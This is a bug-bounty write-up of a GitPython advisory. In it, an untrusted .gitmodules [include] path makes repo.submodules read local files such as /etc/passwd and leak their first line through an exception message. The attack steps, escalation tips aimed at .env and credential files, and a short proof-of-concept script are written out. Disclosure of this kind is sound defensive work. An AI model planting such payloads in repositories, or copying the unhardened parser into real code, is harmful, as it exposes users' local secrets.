# GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)

GitPython's SubmoduleConfigParser inherits merge_includes=True, so an attacker-controlled .gitmodules [include] path makes repo.submodules read arbitrary local files and leak their first line via MissingSectionHeaderError.

- Payout: Research
- Severity: high
- Program: GitPython
- Found by: Pig-Tail
- Disclosed: 2026-09-08
- CVE: CVE-2026-78675
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-7833-fr7j-v32q
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-7833-fr7j-v32q
- Tags: area:oss domain:oss impact:data-leak kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:legacy-endpoint technique:source-review vuln:info-disclosure vuln:path-traversal

**Target:** .gitmodules config parsing in GitPython SubmoduleConfigParser / GitConfigParser include resolution
**Root cause:** Submodule._config_parser() constructs SubmoduleConfigParser without merge_includes=False (unlike the hardened Repo.config_writer()), so [include] directives in attacker-controlled .gitmodules are followed with no repository containment check on absolute or relative include paths.
**Steps:**
1. Craft a repo whose .gitmodules has a normal [submodule] section plus `[include]` with `path = /etc/passwd` (absolute bypasses join; relative `../../../../etc/passwd` also works).
2. Victim clones the repo and calls `list(repo.submodules)` (no update/init/checkout needed).
3. SubmoduleConfigParser follows the include, opens the target file, and GitConfigParser._read() raises `configparser.MissingSectionHeaderError` embedding the file's first line verbatim.
4. Exception propagates out of Submodule.iter_items() (catches only IOError/BadName) to CI logs, error pages or trackers, disclosing the line.
**How found:** Noticed the maintainers hardened Repo.config_writer() against merge_includes in commit 41ecc6a4 but never touched Submodule._config_parser(); git blame showed the call unchanged since introduction, and reading _included_paths()/read() confirmed absolute paths short-circuit containment while _read() embeds raw lines in MissingSectionHeaderError.
**Exploitation:** Attacker ships a malicious .gitmodules in a public repo; any tool built on GitPython that enumerates submodules (dependency scanners, CI, review bots) triggers the include read and surfaces the exception message containing the first line of a chosen local file, exfiltrating it through whatever channel echoes errors.
**Escalation:** Primitive doubles as an error-based file-existence oracle for arbitrary host paths; targeting .env or single-line credential files yields secrets directly.
**Insight:** When a project patches one config-parser construction site for a footgun, grep every other instantiation of the same parser class — sibling call sites parsing equally attacker-controlled files (like .gitmodules) are routinely missed; also check whether stdlib parse errors echo raw file content.

## Proof of concept (copied exactly from the original report)

**Malicious .gitmodules with [include] directive**

```
with open(os.path.join(attacker_repo, ".gitmodules"), "w") as f:
        f.write(
            '[submodule "totally-normal-dep"]\n'
            "\tpath = vendor/dep\n"
            "\turl = https://example.com/dep.git\n"
            "[include]\n"
            "\tpath = %s\n" % target_file
        )
```

**Trigger via list(repo.submodules) catching leaked exception**

```
repo = git.Repo.clone_from(attacker_repo, dest)

    try:
        subs = list(repo.submodules)
        print("NOT VULNERABLE: no exception raised, submodules =", subs)
        sys.exit(1)
    except configparser.MissingSectionHeaderError as e:
        msg = str(e)
        print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:")
        print(msg)
        with open(target_file) as f:
            first_line = f.readline().rstrip("\n")
        if first_line in msg:
            print("Confirmed: target file's first line is present verbatim in the exception message.")
```

